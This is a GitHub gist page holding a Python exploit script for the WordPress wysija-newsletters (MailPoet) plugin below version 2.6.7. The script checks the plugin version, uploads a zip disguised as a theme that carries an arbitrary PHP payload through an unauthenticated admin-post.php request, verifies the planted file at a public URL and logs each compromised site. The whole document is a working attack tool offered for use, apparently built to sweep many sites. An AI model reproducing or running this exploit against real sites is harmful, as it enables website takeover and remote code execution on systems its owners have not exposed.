Skip to content

Instantly share code, notes, and snippets.

@opcodesec
Created September 9, 2014 02:38
Show Gist options
  • Save opcodesec/d1b4345e8b8b48efefaa to your computer and use it in GitHub Desktop.
Save opcodesec/d1b4345e8b8b48efefaa to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from random import choice
import string
import sys
import re
from zipfile import ZipFile
from StringIO import StringIO
import requests
from colors import red, green, blue # pip install ansicolors
def version_compare(v1, v2):
def normalize(v):
return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")]
return cmp(normalize(v1), normalize(v2))
def create_zip_file(theme_name, payload_name, payload):
files = {
"%s/%s" % (theme_name, 'style.css'): '',
"%s/%s" % (theme_name, payload_name): payload
}
zip_file = StringIO()
with ZipFile(zip_file, 'w') as zip:
for path in files:
zip.writestr(path, files[path])
zip_file.seek(0)
return zip_file
def check(url):
readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url
res = requests.get(readme_url, timeout=15, verify=False)
if res.status_code == 200:
match = re.search("stable tag: (.*)[\r\n]", res.text, re.I)
version = match.group(1)
fun = green if version_compare(version, "2.6.7") < 0 else blue
print fun("[?] found version: %s" % version)
return version_compare(version, "2.6.7") < 0
else:
raise Exception("error getting version")
def exploit(url, payload_data):
theme_name = '.tmp' # better to keep the chaos to one directory.
payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php"
zip_file = create_zip_file(theme_name, payload_name, payload_data)
files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")}
data = {
"action": "themeupload",
"submitter": "Upload",
"overwriteexistingtheme": "on"
}
target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url
payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name)
print blue("[?] attempting to upload zip (%s)..." % target_url)
# Don't rely on checking response, have observed some strange behaviour even with successful upload
requests.post(target_url, files=files, data=data, verify=False, timeout=15)
print blue("[?] checking upload (%s)..." % payload_url)
response = requests.head(payload_url, verify=False, timeout=15)
if response.status_code == 200:
print green("[+] found: %s" % payload_url)
return payload_url
else:
raise Exception("upload failed.")
if __name__ == "__main__":
if len(sys.argv) > 2:
payload = open(sys.argv[1]).read()
wp_url = sys.argv[2]
try:
if check(wp_url):
res = exploit(wp_url, payload)
if res:
with open("found-sija.log", "a") as log:
log.write("%s\n" % res)
except Exception as e:
print red("[!] %s - %s" % (wp_url, e))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment